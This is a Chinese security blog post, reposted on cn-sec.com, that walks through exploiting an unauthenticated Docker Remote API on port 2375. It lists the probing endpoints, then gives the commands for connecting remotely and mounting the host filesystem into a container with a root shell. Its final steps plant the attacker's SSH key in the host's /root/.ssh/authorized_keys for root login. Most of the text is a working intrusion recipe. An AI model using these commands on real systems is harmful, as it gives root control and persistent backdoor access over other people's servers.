Docker api未授权访问

admin 2022年3月10日01:34:30评论1,554 views字数 1765阅读5分53秒阅读模式

    Swarm 是 Docker 社区提供的唯一一个原生支持 Docker 集群管理的工具。它可以把多个 Docker 主机组成的系统转换为单一的虚拟 Docker 主机,使得容器可以组成跨主机的子网网络。

    该未授权访问漏洞是因为Docker API可以执行Docker命令,该接口是目的是取代Docker命令界面,通过URL操作Docker。

    Docker Swarm是一个将docker集群单一虚拟化的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展。

    该漏洞起因是因为使用Docker Swarm时,管理的docker 节点上便会开放一个TCP端口2375/2376,绑定在0.0.0.0上,http访问会返回 404 page not found。这是 Docker RemoteAPI,可以执行docker命令,比如访问 http://x.x.x.x:2375/containers/json 会返回服务器当前运行的 container列表,和在docker CLI上执行 docker ps 的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成。


  • 漏洞复现

    首先需要判断是否存在未授访问漏洞,利用web进行执行发现docker系统命令。

(1)采用下列命令查看docker未授权是否正常执行系统命令。

http://x.x.x.x:2375/version                    查看版本信息http://x.x.x.x:2375/info                       查看相关信息http://x.x.x.x:2375/v1.xx/containers/json      列出容器信息http://x.x.x.x:2375/images/json                列出 images 列表

Docker api未授权访问

Docker api未授权访问

(2)确定可以执行系统命令后,进行远程连接,此时需要安装docker。

Docker安装命令:sudoapt-get install -y docker.io

(3)远程连接未授权docker主机,并执行宿主机docker命令。如下:

Docker api未授权访问

(4)那么如果需要深入利用,则需要知道docker运行的CONTAINER ID 和 COMMAND 。其中方式比较多,可借鉴一下方式:

    ①首先用过http://x.x.x.x:2375/info获取版本信息,再通过

http://x.x.x.x:2375/版本/containers/json获取到CONTAINER ID 和 COMMAND 。

    ②或者连接docker后直接执行命令

Docker -H tcp://x.x.x.x:2375  ps  -a获取容器运行的CONTAINER ID 和 COMMAND。

    ③或者连接docker后直接执行命令

Docker -H tcp://x.x.x.x:2375  ps  获取容器运行的CONTAINER ID 和 COMMAND。

    ④或通过http://x.x.x.x:2375/v1.xx/containers/json 获取容器运行的CONTAINER ID 和 COMMAND。

Docker api未授权访问

    ⑤通过上述步骤4可知道docker宿主机运行的镜像id和进入容器的命令。这时利用条件已具备,通过命令直接进入任意docker镜像主机。

docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt 113aa138 /bin/bash


  • 权限提升

    启动一个容器,挂载宿主机的/root/目录,之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了。

本地获取ssh公钥

Docker api未授权访问

    将公钥复制到被攻击者的/root/.ssh/authorized_keys文件中

Docker api未授权访问

    ssh连接远程服务器

Docker api未授权访问

  • 小结

    当遇到docker未授权时,为节省时间,可直接利用docker建立与未授权主机进行连接,再利用docker命令对未授权docker宿主机进行操作,查询其运行docker状态,从运行状态中提取镜像id和进入命令,再通过远程连接的方式进入docker容器内。

原文始发于微信公众号(Matrix1024):Docker api未授权访问

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月10日01:34:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Docker api未授权访问https://cn-sec.com/archives/822482.html

发表评论

匿名网友 填写信息